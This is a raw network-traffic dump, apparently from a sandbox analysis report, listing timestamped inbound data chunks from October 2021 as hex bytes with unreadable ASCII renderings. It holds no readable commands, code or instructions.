e8 ae fc b0 3a f5 87 fc 76 65 ad 8a 62 1b a2 4d f8 81 1d 68 cb c6 eb 18 b4 b4 80 6e 1d 63 b3 68 6d 38 5a 2c c6 59 ed f6 
4a b5 6a aa 9b 3e eb e2 6b bb a3 79 e3 c3 ab e7 d1 
Data Ascii: Gr7sG^Yoe/?)>JJb4gK%;8PTUorefXX\%YR\K9/S_)LBluxVo0O['`t39z46l'AFC!_0M;:vebMhnchm8Z,YJj>ky

2021-10-04 18:06:38 UTC 18 IN Data Raw: df bf 2c b4 0c f8 4a 25 e3 b3 e5 16 b7 ce 46 3b 9d fe 2d de b8 33 e0 fe ce e4 52 72 b7 26 70 18 e1 5d 54 84 da 
75 53 f6 37 5e 39 f5 d9 03 6e 62 ad b8 db 85 8d a9 bf 6d 5d e4 37 a5 f6 10 3c c1 e0 d4 a1 68 da 35 0d 9c 39 03 19 78 e6 
80 78 8d ad 5a 23 19 74 32 b0 81 5a 54 04 0a 37 f2 7c b9 e5 eb 59 27 95 d4 0a 10 7b ad bc fa 4e d2 80 5f 4a f2 3b de e8 
7c 14 c4 13 5e f5 1b 14 79 6f ab 1a 9d 08 20 55 4e 1b 37 b7 6f 72 0b 16 47 8a ae fb eb 11 4f 64 d8 b3 28 1f 83 51 02 dc 
d2 e5 24 45 ae 9f ed 3b 04 41 21 8a b7 8e 18 fb b0 c0 0d 0a 7b 50 e4 a8 6c 31 87 e4 15 a3 a9 f9 ab 81 9d 4e b9 7f 84 18 
1d df af 2b 56 3e 93 c8 95 35 8a f4 ca 57 80 31 8e 76 21 8a ba a9 a1 74 3f f5 d7 33 94 92 46 4b 4e 78 d0 47 81 8b 38 fc f1 
7c 63 3b 4e cf e9 35 6e 6b 4f 50 e2 bb bc 23 b0 3c 
Data Ascii: ,J%F;-3Rr&p]TuS7^9nbm]7<h59xxZ#t2ZT7|Y'{N_J;|^yo UN7orGOd(Q$E;A!{Pl1N+V>5W1v!t?3FKNxG8|c
;N5nkOP#<

Timestamp
kBytes
transferred Direction Data
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2021-10-04 18:06:38 UTC 19 IN Data Raw: 78 60 9d 55 65 b6 65 77 d4 3f e9 a8 19 9f 30 9e 96 e4 9d 3f c7 25 9d d4 89 59 32 d8 25 43 f3 7b 53 4d 43 f8 
13 1a 90 d0 56 e7 d9 1e 59 bf 57 b8 cc be 80 dc bb 20 65 38 a9 f1 42 c2 3e 57 7a 7d 9c 72 55 6f 36 03 6e f4 f6 bd 5c 40 
7e 39 10 16 e8 a5 73 bb 81 a4 9e 0b 88 e3 95 f3 10 cd 73 e2 83 f3 36 ff 66 15 1e e8 b5 47 82 62 f3 e8 bb 13 92 f6 36 fb 1f 
94 ac 27 4c d6 18 17 96 57 0c ce a6 cc 87 b5 02 cc 8c db b0 34 ff af a2 46 6f ab 99 40 33 1f 4f e2 87 0c 45 e3 78 e9 18 8d 
96 a7 6e 13 69 9b 36 20 32 5c 3f e6 71 50 f4 50 b3 7b 87 b3 81 e9 e2 31 99 84 79 ed c9 83 b9 bb be e1 72 0b d2 33 83 3a 
ec 69 aa c1 ec 81 db 6c 18 a2 04 05 ac e7 d3 22 eb e4 1d 0f 3e 55 6a 7e 1a e3 05 58 d2 a9 1a 72 f6 66 33 42 b8 20 64 0a 
f1 d5 ec 46 4d 7c 2e b2 e3 4f 51 b7 8a e7 2d 3d 66 
Data Ascii: x`Ueew?0?%Y2%C{SMCVYW e8B>Wz}rUo6n\@~9ss6fGb6'LW4Fo@3OExni6 2\?qPP{1yr3:il">Uj~Xrf3B dFM
|.OQ-=f

2021-10-04 18:06:38 UTC 20 IN Data Raw: bf d9 ab 07 85 6b d4 8c 7c 5b be 30 d5 72 98 27 72 2b 4e 81 50 3f 7d 89 53 f1 12 f6 dd 3b fd 7b fc b8 b9 e8 34 
2e be 61 f2 ec a6 b3 f6 23 ea 72 53 85 81 7e 74 f4 a6 a2 61 11 cb b4 14 10 f3 bb a9 b6 82 99 92 2d 6c f2 85 2d be 20 e4 
7f 01 e7 b3 fe 01 93 24 54 10 b0 d0 21 c4 a1 ea c5 ee ca ff d2 7d 9b 21 7d 08 3b ca 48 97 de 6e cf e7 21 a0 39 ca 9a 05 
3d 70 85 66 dd 9b 75 0a 82 2f 61 9f 18 de 09 eb eb 8c f5 02 ab 48 84 b9 ba a8 83 6d 33 78 ec 22 72 fd b1 72 fc 19 74 34 
3a 90 1a 5c 04 aa 35 f2 70 a0 d4 27 1a 59 85 c7 0d 6a 49 d7 bc fe 68 21 80 18 2e c1 5d dc ec 15 56 d4 53 70 98 e5 15 0d 
5c cc 18 99 18 f6 7c 2e 37 01 b7 6f 72 38 17 47 86 97 2c 86 f2 48 4c f0 a0 2f 31 36 2b 02 da c9 ca 37 60 af 99 c1 6f df 43 
2b a4 b1 a9 18 fd 67 22 ef 0b 7b 7e 53 b3 6c 3b 97 
Data Ascii: k|[0r'r+NP?}S;{4.a#rS~ta-l- $T!}!};Hn!9=pfu/aHm3x"rrt4:\5p'YjIh!.]VSp\|.7or8G,HL/16+7`oC+g"{~Sl;

2021-10-04 18:06:38 UTC 22 IN Data Raw: 2d 9f e4 f6 74 b5 cd 9f 98 41 98 bb ae 95 fe 88 ac c3 4e a6 69 cb fc e9 fe 19 31 14 0b 04 2b a2 b5 5a c2 67 ed 
67 65 25 28 ac a1 fe 32 a2 48 02 7e ce a4 60 9c ff 34 69 b0 35 b5 24 1d 72 e2 a0 12 e9 38 c7 eb ee c0 78 6c 86 65 61 ac 
ae 77 d5 3f c3 a8 19 1f 35 b6 69 ea 9d 35 a8 8e 9a d4 83 39 07 d8 25 53 f9 a6 e1 4d 43 f8 36 9c a0 d0 56 e3 d5 1c 71 fc 
50 b8 c6 a2 84 fc bb 3e 65 38 25 8a 42 c2 3f 91 ad 01 9c 7c 56 47 22 da 67 fe de b2 5d 40 74 2a 9e a1 31 1d 60 be 97 47 
86 0f e7 ec 94 f3 1a 32 6b e7 91 fd 1e be 66 0f 18 ce b3 31 ee b2 8f ed b1 12 ba ec 36 fb 15 af a6 26 4c d3 74 4c be dc 0c 
ce ad 7b 94 b3 14 ff 80 c8 b9 29 f8 84 99 56 65 af 99 4f 40 1d 4e f8 8d 1f 4c f2 7c 86 19 b3 9c ad 67 0c 6e 0e 58 45 3b 5d 
3f e3 60 58 e5 42 dc 7f 87 b3 8b c1 a0 6d 93 82 
Data Ascii: -tANi1+Zgge%(2H~`4i5$r8xleaw?5i59%SMC6VqP>e8%B?|VG"g]@t*1`G2kf16&LtL{)VeO@NL|gnXE;]?`XBm

2021-10-04 18:06:38 UTC 23 IN Data Raw: 24 df 5e 00 8c fa 6a 6e 38 96 6c a3 ec cb f3 63 63 52 be 46 6c 9b 5d 58 88 04 39 cc c3 da 46 25 d8 27 4e 6a 
35 ec b0 10 e0 c8 c0 b2 5c ac 66 d6 ac ec 9e 49 d7 03 1c fe 7e d7 45 39 13 37 c8 df 7e a4 0a 97 58 2e 11 b3 d1 b3 32 03 
83 ff a0 79 4c 8f 1e c2 76 1b 31 76 33 9f 80 7c 27 7d f2 53 f1 1e 7b e4 28 f9 7f 93 98 ae 16 31 2e 83 07 c2 e8 a6 a6 e5 0a 
0c 0d 5a 80 aa 2c e1 50 b4 93 5c 3d 9d 4a 15 3a cf b9 1b 88 85 99 98 04 1d 7c a6 2d b4 08 c5 51 04 9d 96 ef 05 8e 54 e2 
2a 84 ca 05 95 b2 ee c3 d2 cb 39 1f 7b b7 26 5c 49 a1 c1 52 86 c4 2e 35 e3 37 5e 46 eb 99 12 2a 5c 6a 75 d9 83 a3 4b ae 
2d 40 a9 39 db fe 14 14 80 ca 24 a5 40 8b 1f 29 9a 56 71 99 70 ec 22 6d 10 48 74 7b 1b 0a 3c 12 90 1e 65 02 71 37 f4 60 
82 89 f9 1b 53 95 ef ac 14 53 d7 c2 f2 44 70 95 61 58 
Data Ascii: $^jn8lccRFl]X9F%'Nj5\fI~E97~X.2yLv1v3|'}S{(1.Z,P\=J:|-QT*9{&\IR.57^F*\juK-@9$@)Vqp"mHt{<eq7`SSDpaX

2021-10-04 18:06:38 UTC 24 IN Data Raw: 80 97 09 d9 77 ce 58 41 ab 28 7b 91 6f eb d9 d1 ab 29 a6 a7 98 ca e6 de be d2 74 be 2a 10 c6 81 0c d0 84 22 
f1 89 f2 2d 0d ec d1 03 89 b5 9c 72 43 cf f7 0f c8 cd 58 4d e0 11 df 72 cd 2b cf 72 b5 82 50 a4 84 36 b5 30 93 ee 7e 61 4b 
cc b7 54 34 b2 95 ac 97 e7 be b7 f4 30 ae 63 dd d6 ec ba 17 31 1a 3c 2b d5 a3 93 d1 cd 71 93 6b b8 70 2e 0e be da 3a 
a2 40 12 ef c6 89 62 81 9c 3f 60 af 2d 63 21 31 70 cf ca 23 9b c6 32 7b ce c1 78 66 8b ab 64 f3 67 68 c7 c1 e8 be e7 0f 68 
9c b6 4e 9d 3f c7 44 9b c2 77 57 6d da 05 fc f3 7b 52 b3 42 ee ed b5 c8 fc 3c eb 55 61 59 03 51 d7 c0 b0 80 d6 d4 3d 64 
38 a2 d9 52 c1 3e 9a 12 e0 9c 7c 5d 43 23 d8 eb 8b f6 b2 5d 2f 72 22 10 1c 69 82 73 bb 85 91 48 0a 88 ed eb fb 10 3b 7e 
ca 92 ff 36 f9 4e 2b 1e e8 be c7 8a 62 f3 e9 cf 1b 92 
Data Ascii: wXA({o)t*"-rCXMr+rP60~aKT40c1<+qkp.:@b?`-c!1p#2{xfdghhN?DwWm{RB<UaYQ=d8R>|]C#]/r"isH;~6N+b

2021-10-04 18:06:38 UTC 25 IN Data Raw: e5 3b 9e c4 fe 26 57 25 6c 0b 86 09 52 bf 2a 42 58 89 0e 85 85 8a 26 e1 5c 6c 49 42 5b 33 f4 74 78 f4 1f 09 a4 
c1 65 10 89 15 60 90 59 8a 9a 79 e9 a8 d3 77 e0 3a 8d cc a0 51 58 c0 ec 7c 14 ae 78 48 78 da 92 70 55 2d 25 5f 3d 86 
e0 85 64 3c 91 13 81 e6 d8 e7 54 87 41 a5 4c 12 ed 42 4f 7c 0f 0c d5 d6 d1 4d f7 d7 d2 50 5e 23 e0 9a 1c e8 d3 ca 5d 59 
96 95 c6 91 6b 8d 61 ba fd f2 05 7c 22 57 0e 11 0d d6 fe e9 5a d9 65 52 28 cc 97 ca bb 03 92 86 d2 ba 6a 57 94 3f dd 69 
a1 c8 77 1f ba f3 5e 34 55 bc 59 ee 22 e8 df 28 e8 60 f2 9a 50 17 19 0c bf 68 ea c0 b2 a3 f2 33 07 66 60 a7 b9 33 6f f6 b9 
bd 55 eb d6 66 1e 2d e9 ad c2 0d 91 92 87 09 10 19 85 3c af 13 e1 9c 13 cf bf e9 14 85 b5 7d 3e b5 c0 32 e3 a1 f5 c5 ee 
d5 fb 1f 82 b6 0a 64 11 a4 e9 07 84 da 68 e7 d3 36 5e 
Data Ascii: ;&W%lR*BX&\lIB[3txe`Yyw:QX|xHxpU-%_=d<TALBO|MP^#]Yka|"WZeR(jW?iw^4UY"(`Ph3f`3oUf-<}>2dh6^

2021-10-04 18:06:38 UTC 27 IN Data Raw: c6 96 50 6f a6 89 1e 8c 12 a0 e5 c5 79 85 37 e1 ae 32 87 a1 8e 9f 65 32 29 6e b8 9b 90 5d 3a 71 6c d1 43 a3 
dd 3f ed f8 4e e2 2a 41 d8 83 5a b4 7c 93 f5 93 b9 bc 24 8b 41 9b 8b 56 7c 43 b1 85 98 b2 86 63 2e 68 6e 99 9b 66 c1 5e 
c3 51 78 81 01 5f 91 67 c1 57 59 ab 29 e2 e5 37 c8 e6 dd ad c1 61 90 32 6e c4 ee 12 d5 ac 26 da db f4 05 2f ff c5 18 1d 
ac 8c 7a 6f 42 66 0d ce de 48 55 f7 01 c6 0c c5 2b cf 76 bd cd 08 87 82 1e 91 30 93 e4 0e 56 12 e4 22 89 47 ba 22 bb 43 
75 b5 84 ed 4f b5 70 cc c0 d5 f3 12 5d 3f 14 0f d5 a3 99 51 e5 31 c8 47 7a 24 2c 04 96 d2 3f a2 4a 10 a8 d8 8b 62 8d 9c 
2d 60 af 2d 67 37 20 74 d8 b6 2c 82 ee 69 14 c4 c6 6b 6b 40 ff 65 ac 65 66 d1 2e fa ae 00 26 66 9e 96 ec 8e 38 1a 22 9a 
d4 89 7e 05 d8 25 53 db 43 52 4d 49 25 91 b4 97 d0 5e c9 
Data Ascii: Poy72e2)n]:qlC?N*AZ|$AV|Cc.hnf^Qx_gWY)7a2n&/zoBfHU+v0V"G"CuOp]?Q1Gz$,?Jb-`-g7 t,ikk@eef.
&f8"~%SCRMI%^

2021-10-04 18:06:38 UTC 28 IN Data Raw: c4 33 ab c1 e6 96 0d 98 39 a2 04 0a bf e0 c2 a3 f5 cc 04 03 3e 53 72 e9 1d e3 04 59 c1 a2 0b ef ea 77 34 ee 
a9 2b 73 b8 77 ea ec 49 4c de 3f a3 f0 43 41 bb 9e f3 35 03 43 30 7e b1 9e 6c 87 2e 70 72 c7 a7 e5 33 15 16 38 92 d3 dc 
92 43 3a 4f 3e 8c 04 55 34 19 72 b7 84 34 15 bc 90 3c 37 45 b7 44 72 48 33 dc 71 63 ee eb 20 bc c9 74 11 e7 d1 73 9b 59 
8a 86 68 ff a2 cb d8 a9 23 7b d1 2d 29 6c cf 3a 65 0c b9 4b 53 77 f2 99 68 4a 31 cc d3 16 88 e2 95 7c 18 94 1e 97 fd ce df 
5a 9c 52 b4 ee 12 fa 4e 53 93 05 34 cb d0 57 78 21 c4 d8 5c 4b 21 f6 8c 1a 6f dd cd 8b fb ba 98 dd 91 e2 9f ca ff 08 1c f1 
75 b3 6c 04 11 1c c7 f4 12 2f e7 68 50 22 ca 61 d5 ab 0b b4 92 c4 a8 16 1b 94 2e cc aa 91 27 71 1b e5 80 7c 30 5e b3 20 
d2 19 fb ce 3b f0 6a e4 ad a9 79 17 03 bd 73 ed 36 
Data Ascii: 39>SrYw4+swIL?CA5C0~l.pr38C:O>U4r4<7EDrH3qc tsYh#{-)l:eKSwhJ1|ZRNS4Wx!\K!oul/hP"a.'q|0^ ;jys6

2021-10-04 18:06:38 UTC 29 IN Data Raw: dd 3a 8a 61 21 7c 4e 11 20 84 71 72 f3 17 47 8a 97 09 86 3a 48 4c fc a0 2c 0f fd 2d 8c 6b b7 e1 4d 47 a4 8a e0 
58 44 cc 00 a2 99 8f 0b dc 7c 68 12 22 6a 59 c5 b7 2c 13 85 f6 12 81 e2 dc aa 8b 49 23 e1 60 a2 09 38 a9 be 5c 7e a3 80 
ef 8e 3a 8a e3 cb 51 9b 1e b6 a6 21 8c 98 af 87 74 39 90 c0 ab 94 98 5f 1d 5e 69 d6 52 81 a1 00 fd f7 5e ea 35 5f ef aa 4a 
7f 4d 2a 2f b8 b9 b6 f9 9f 4f 47 83 5e 67 99 b2 93 97 44 81 47 06 55 6d 88 9d 1a f4 77 fb 5b 41 a7 de 5f 96 45 e7 73 98 d7 
29 a2 78 37 c8 e6 6a bc cd 0e ac 33 6e ce 54 0c d4 ac 3d f2 89 f4 05 29 ec d1 0b 09 bd 9c 85 47 12 66 2c c8 cd 5a 4a 9a 
22 c6 1d c5 2b cf 76 9d 8d 53 a6 82 1e 91 37 91 e4 fe 9c 4b cc b3 75 45 b0 95 a0 95 f8 9e 84 ed 4e a6 61 dd d2 c4 4a 16 
31 1c 3b 0f d5 a3 40 52 c5 71 9f 6f 65 25 2c 0e 
Data Ascii: :a!|N qrG:HL,-kMGXD|h"jY,I#`8\~:Q!t9_^iR^5_JM*/OG^gDGUmw[A_Es)x7j3nT=)Gf,ZJ"+vS7KuENaJ1;
@Rqoe%,

2021-10-04 18:06:38 UTC 31 IN Data Raw: df 59 cd ab a6 13 e7 90 f3 a4 3b ff a5 2e 49 65 ab 98 5c 36 00 5d eb 88 0c 55 ec 67 fc e6 b3 b0 a9 7f 17 7f 01 
1e 7c 38 5c 35 e2 6e 46 e7 45 b3 6a 89 ae 7f e8 ce 60 82 8f 6f 79 e1 92 b9 d1 be ea 6c 17 dd 33 92 2f f3 64 55 c0 c0 8c 
ca 19 04 32 3d 2a 51 18 2c ba ef f7 12 00 2f 5a 75 6e e4 e2 28 55 c0 af 0b e3 d4 7c 32 4c b2 3f 6f bd f4 d5 fd 46 52 77 d0 
a9 cf 42 4f a7 07 cc 2d 8e 6d 23 77 af 81 72 99 23 77 6a 44 b8 16 25 2f 84 38 95 d2 6e 1d 52 3a 45 12 96 16 4c b7 3a 6d 
b7 87 3d 99 6a 80 10 3a 5e 6b 4e e2 71 da 09 9a 9c f1 f6 1b 87 c8 65 14 8c d9 8d 9a 6e 8f a9 68 f9 b3 c6 47 1a 4f b3 c7 
b1 41 26 d6 3b 6f 15 bc 45 40 70 d5 83 7a 45 28 cb a0 10 a4 c1 85 65 0c 1f 3a 90 ec cb fd 9b 8e 52 be 57 2b e2 5d 58 88 
26 14 de c7 d0 23 33 c4 d9 54 55 39 e4 8b 1e fc cc 
Data Ascii: Y;.Ie\6]Ug|8\5nFEj`oyl3/dU2=*Q,/Zun(U|2L?oFRwBO-m#wr#wjD%/8nR:EL:m=j:^kNqenhGOA&;oE@pzE(
e:RW+]X&#3TU9

Timestamp
kBytes
transferred Direction Data
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2021-10-04 18:06:38 UTC 32 IN Data Raw: 48 8c 2b a0 d3 5e 03 52 b6 d1 ed 48 b3 42 f2 65 a9 6d 33 78 ec 31 59 cf b5 4f 7b 1b 74 77 12 90 0b 5b 20 58 
18 f2 7e bd 59 f8 37 5b 9b d8 0a 1c 4b 29 bd d6 49 0e a6 1f 50 de 2e 97 e9 7a bc de 4a 7a 8e 13 02 8d 46 e0 1a 8a 02 08 
75 57 e5 30 8a 6a 36 db 3d 88 87 84 44 a5 10 49 46 dc b1 28 19 ff 19 00 dc 8d cd 4c 47 ea 99 c5 56 12 4d 00 ef 99 86 00 
03 6c 61 01 08 69 79 fb e5 6d 3b 99 da 0f 92 9d f9 a3 9c bd 31 eb 73 9c 14 19 ce 85 a3 7f 85 97 d1 b5 07 ae f4 c2 4b 6f 37
cd a9 26 e5 fe 80 85 7e 27 cc a0 bc be 89 40 35 51 6e 2e 42 85 cc 2d f0 f7 5c 2f c7 4f e5 84 66 6c 40 f4 62 92 b9 bc 25 83 
75 9b 9a 6f 6d 47 a7 94 9d 9a 90 60 03 63 47 8a f8 f0 dd 5f c9 77 54 af 17 30 6b 6f e1 53 07 a7 01 95 7a 37 c2 ce e6 bc cd
04 53 33 6c a1 7a 0c d4 a6 f2 fe a1 c3 05 29 e6 
Data Ascii: H+^RHBem3x1YO{tw[ X~Y7[K)IP.zJzFuW0j6=DIF(LGVMlaiym;1sKo7&~'@5Qn.B-\/Ofl@b%uomG`cG_wT0ko
Sz7S3lz)

2021-10-04 18:06:38 UTC 33 IN Data Raw: b0 2b 47 ae 1d 9c 7d 7d 9c 7c 57 1f 76 81 4f 65 f6 b2 56 f4 e2 2a 19 98 5e b2 a9 be a1 4c 96 0b 88 b0 21 6f 19 
11 7a e2 83 ef 06 fa 66 86 1e e8 b4 0f 82 62 e2 c5 26 13 92 f2 34 94 87 87 a6 2d 41 d0 96 a0 b6 b2 0c ce a7 fd 8c 9d 23 
ed 86 dd c3 6d fe af a8 0c 4d 3c 99 4f 39 1c 20 60 87 0c 4e ef 70 67 af 92 63 a7 6e 1d 58 90 1e 4c 3b 5c 39 9a 26 51 f4 40 
c9 62 8f 3d 36 3f ea e3 24 52 6e 39 de 55 34 fa b4 e1 73 0e d4 25 94 bc ea 7e a2 4f 5b 35 47 1c 04 a4 1c 02 22 50 fb b3 
e0 e4 17 06 26 5c e4 d3 cc eb 8a ef 66 35 12 f2 fa 7f 3a c2 0f f6 6c 20 4c fd fa 48 4d 76 28 82 fd 4d 78 a4 ba ee 2d b8 6d 
30 7e f9 8d 61 87 35 75 61 63 9e e9 24 03 8a 38 9b db fd cb 42 16 59 30 b4 0a 43 a2 36 6f 8e a2 21 8f 92 84 3a 43 d2 67 
56 73 60 53 f4 65 65 f1 eb 1b 8c c8 65 1f 84 3d 
Data Ascii: +G}}|WvOeV*^L!ozfb&4-A#mM<O9 `NpgcnXL;\9&Q@b=6?$Rn9U4s%~O[5G"P&\f5:l LHMv(Mx-m0~a5uac$8B
Y0C6o!:CgVs`Seee=

2021-10-04 18:06:38 UTC 34 IN Data Raw: ec d1 03 18 b7 f3 ea 47 12 6c 1e c3 dc 5c 43 90 34 d7 07 4b 9c a0 df 9d 8d 59 b5 96 71 56 30 93 ee d3 c7 95 
da a2 9d 32 8b 95 ac 94 d4 92 95 f9 3b 9d 63 dd d3 ab b7 15 31 16 c8 1e d3 a4 8f 56 4b c6 fc c6 65 25 26 26 8f f1 3e a4 
53 11 91 ca 8d 61 85 f7 1c 01 ae 27 41 28 19 e7 c9 a5 20 93 a9 a0 14 c4 ca 6b 68 8c 53 74 a8 73 66 d1 b1 5e c7 b0 0e 37
94 87 ec 99 29 c3 34 2d bb 20 56 32 d2 0d 02 f2 7b 58 65 6e fb 13 b2 91 f8 64 ea d9 18 71 24 50 b8 c6 de 18 dc bb 30 76 
3f b9 f7 53 c5 28 8d 7a f3 2b 13 fe 6f 36 d0 76 f2 99 cf 5c 40 74 37 03 1f f8 ad 1c e9 81 4c 9d 18 81 fc 9c 9c 44 3b 7a e8 
90 f3 27 f0 15 5a 1e e8 be 54 8f 73 fe 82 e7 13 92 f2 25 f5 c1 b5 83 0f 7b d9 18 1d 85 5d 1d c7 8b c6 96 bc 6d 16 86 db ba 
2e ec a6 8a 4e 65 ab 93 91 26 0b 5c f0 5b d2 4b c6 
Data Ascii: Gl\C4KYqV02;c1VKe%&&>Sa'A( khStsf^7)4- V2{Xendq$P0v?S(z+o6v\@t7LD;z'ZTs%{]m.Ne&\[K

2021-10-04 18:06:38 UTC 35 IN Data Raw: c3 71 9b 7c 99 9b 21 f8 bd cc 56 1e 3b a3 c7 bf 5a 13 a6 3a 65 1f b1 5a 5b 78 ea 87 6b cd 37 db 5e 5c 88 e2 
85 7b 1f f6 73 80 ec c1 fb 38 fe 53 be 46 0e ff 55 50 86 61 38 de c7 d0 38 b9 c4 d9 45 29 12 fa 9a 07 e0 ca b3 85 59 ba 92 
c4 85 fe 8c 4b d5 6c 2a fb 63 23 55 10 09 73 e4 e6 17 51 e4 6d 48 56 ed be d9 b0 00 b0 f3 d4 a0 73 5f 90 3f c3 19 b3 37 
76 39 a3 87 6d 31 44 be 45 e0 1c 75 73 47 d5 7a ed b6 a5 c8 2f 13 b8 16 85 e9 a6 a8 fb 56 71 72 7f 8a 76 f6 65 ee 8e a4 
79 7a 80 4a 15 36 3e b4 c1 b4 9a 98 98 25 29 02 84 31 b4 0c df 62 59 e3 a9 8a 05 84 da 55 3c b5 c4 2d d0 b2 89 b0 ff c4 
e4 2c 7c b7 3d 44 04 a1 40 54 84 da 23 de e3 26 4a 33 95 f8 13 2e 7e 89 04 bb 84 8b 01 a3 24 42 9e 4f 3d f6 14 1e eb c0 
d5 a7 4a 9e 31 7e bc 57 7b 13 6b e9 33 6c dc b3 1d 5c 
Data Ascii: q|!V;Z:eZ[xk7^\{s8SFUPa88E)YKl*c#UsQmHVs_?7v9m1DEusGz/VqrveyzJ6>%)1bYU<-,|=D@T#&J3.~$BO=
J1~W{k3l\

2021-10-04 18:06:38 UTC 36 IN Data Raw: 35 39 4e e1 96 4c 6e 61 6d 09 b9 b9 b6 1c 2c bb 66 65 45 7e 40 a7 85 9a 80 6e 63 02 7a 65 a8 97 08 dd 5f eb 
4b 40 ad 0a 77 e0 6e e1 53 e3 9d d6 5d 85 2c db e1 de ad ca 11 84 cd 6f e2 87 27 cb b3 26 e1 8e f4 14 2e fa 2f 08 25 be 
8b 61 40 12 77 0a d7 c2 a4 53 b7 20 ed 09 fd 75 31 89 62 f3 21 a5 82 14 b9 45 92 e4 f4 6a 4f c9 9b 1f 47 b0 93 86 95 f8 
9e 9f dd 4b a6 04 dd d2 c4 b0 15 31 0d 02 05 d7 bc 94 53 be 25 93 6f 61 0d 0d 0e be f8 51 d4 41 14 8a d9 12 4a fc f2 34 
6b a3 35 49 0d 49 71 c9 af 02 8a c7 38 1e d2 e8 ed 6c 9d 53 4d bc 64 77 df 42 bc a8 19 0a 35 e5 c3 ea 9d 3b b9 c8 9b d4 
83 7e 4b d9 25 53 df 79 8c 54 45 ef c5 be 91 cf 5c d8 75 c0 57 26 78 8f cc b1 8a d7 93 02 65 38 a2 2f 42 e8 3e 9d 6d 7d 
9c 7c 57 6f 36 82 3f f4 f8 a8 5c 40 7f 89 12 6d bc a5 73 
Data Ascii: 59NLnam,feE~@ncze_K@wnS],o'&./%a@wS u1b!EjOGK1S%oaQAJ4k5IIq8lSMdwB5;~K%SyTE\uW
&xe8/B>m}|Wo6?\@ms

2021-10-04 18:06:38 UTC 38 IN Data Raw: d5 e6 5a 4a 57 4d ba e4 67 d0 b6 8a ed 21 88 64 5f 63 b1 8d 6b 9b 2a 4e 4a 5b b6 e2 09 01 a1 60 96 ec 47 35 
43 3c 56 1c 8c 0d cd 13 23 5c 9c 99 26 9c 9d 97 2f 3f 64 4e 47 7b 59 20 6e 76 65 ff e7 0f a0 ec 74 1b 99 d0 76 8a 47 b1 
b0 79 f8 b9 e0 5f 0f 3e a9 ce 99 eb 49 ce 3c 7e 17 a6 8c 48 6b cb 8b 7a 43 b9 6c 6c de 9a e5 bc ee 15 85 18 ac 78 15 f9 
59 9b ac a8 58 03 f6 46 37 d5 0e 20 d5 1b f0 57 21 c5 c9 4f 46 32 fb 64 0f 8e b7 c3 ad 58 ba 98 d7 9b df 8c 5a e5 03 0d fa 
30 29 44 04 39 a3 cc e7 11 50 f2 76 2e 5a c7 bf dd 92 2d 9a 95 d3 88 57 4e 94 28 a9 b1 99 36 70 34 cb 8e 7d 36 51 ce 1e 
f1 18 fa ce f6 f3 7c c1 ba a9 79 62 02 bd 73 3d ee 8c a2 f2 38 04 73 7f 82 aa 2e 6f c3 88 a2 7a 15 d7 4a 15 27 d2 b8 c6 d7 
80 99 98 7b 03 02 94 05 f0 0f dd 64 18 90 85 ee 05 
Data Ascii: ZJWMg!d_ck*NJ[`G5C<V#\&/?dNG{Y nvetvGy_>I<~HkzCllxYXF7 W!OF2dXZ0)D9Pv.Z-WN(6p4}6Q|ybs=8s
.ozJ'{d

2021-10-04 18:06:38 UTC 39 IN Data Raw: a2 c3 8f 18 fd 3a 4d 0d 1b 6d 6b d6 90 2a 3a 93 f7 12 9a 94 e1 55 8a 6f 39 b4 cd 84 18 13 cc 85 4e 7b a9 82 cd
80 10 5c f5 e6 5f 98 27 e5 2a 96 b5 b3 80 85 74 20 f1 ab ae 94 83 49 28 a7 79 fc 46 bf c3 24 ef f2 54 25 3c 51 c5 78 4c 42 
63 4c 6f 6e b4 a3 28 8b 40 99 8b 5c 72 48 59 95 b1 91 86 ef 3b 62 6d 89 bd 16 cd 4c c6 5b 50 a8 1e a1 90 43 e7 72 6f b4 
20 b1 7f 37 d9 e3 c2 42 cc 22 86 31 46 44 80 0c de bf 28 ef 9a f1 05 38 e9 c8 f7 08 91 88 74 45 3a 39 0e c8 cb 72 76 9b 
22 cc 63 09 2b cf 7c 87 9e 56 a4 93 1b 86 ce 92 c8 fd 71 58 c9 b3 98 42 af 9e 52 94 d4 8b 82 e5 66 b8 60 dd d4 ec c4 15 
31 16 7b c3 d5 a3 93 4e c9 62 96 6f 74 20 37 f0 bf de 30 a0 68 3b 80 cf 82 5b f7 0c cb 9e b3 34 4e 25 20 75 d6 ab d4 9b 
ea 3e 3f ae df 77 7f 98 55 74 a9 7f 89 d4 13 fd ae 
Data Ascii: :Mmk*:Uo9N{\_'*t I(yF$T%<QxLBcLon(@\rHY;bmL[PCro 7B"1FD(8tE:9rv"c+|VqXBRf`1{Nbot 70h;[4N% u>?wUt

2021-10-04 18:06:38 UTC 40 IN Data Raw: b1 5e 6e 40 2e 5d 65 f6 ad b3 81 e8 ee 6f 8c 8b 71 f5 cb 0d 0e ce bb 3b 5a 12 d3 33 89 53 7b 68 ab c7 ff 87 c4 
05 9f 89 04 0b ad f4 d6 ad 6f 53 0c 05 b0 e2 b0 73 c0 f4 d2 d5 f9 a9 1a e5 f1 6e 3b c2 0f 3f 74 74 ea d0 fa 56 5d 54 38 a9 
e3 45 58 a1 83 f1 25 00 db 21 7b 3e 3a bb be 35 67 65 51 9e 7f 24 03 80 38 99 c7 f3 21 4a 2b 40 77 05 08 43 a2 5a 75 a7 
88 28 9c 90 90 38 1f d3 67 56 78 42 f6 e5 40 4b d9 e1 08 82 db 73 0f 99 eb 4b 9b 42 93 5f 79 fe 99 cc 56 1f 2b a1 c7 b1 
5a 1f ce bf b4 1f a0 40 5b 63 db 98 5b 4e 37 e6 5e 11 88 c2 94 6f 05 87 3e 88 ee a4 3e 4b 9c 58 a8 7f 01 e2 77 70 15 0e 
20 d5 ef 9d 56 21 ce db 20 de 30 fb 90 19 e5 e4 52 a2 58 b0 f7 cf 81 ef 83 50 0d 0d 25 cd 63 29 4e 01 1b 34 f5 e7 17 51 
2b 68 56 13 c7 bf d9 bb 13 98 95 d5 a0 77 4c 8b 03 
Data Ascii: ^n@.]eoq;Z3S{hoSsn;?ttV]T8EX%!{>:5geQ$8!J+@wCZu(8gVxB@KsKB_yV+Z@[c[N7^o>>KXwp V! 0RXP%c)
N4Q+hVwL

2021-10-04 18:06:38 UTC 41 IN Data Raw: f9 1a 4f ab 41 0b 14 59 fb b2 2a 0d 70 91 1d 78 ce 5d dc e2 69 b1 fe 5f a6 c4 1b 14 71 6f d8 18 9d 04 1b 7a 58 
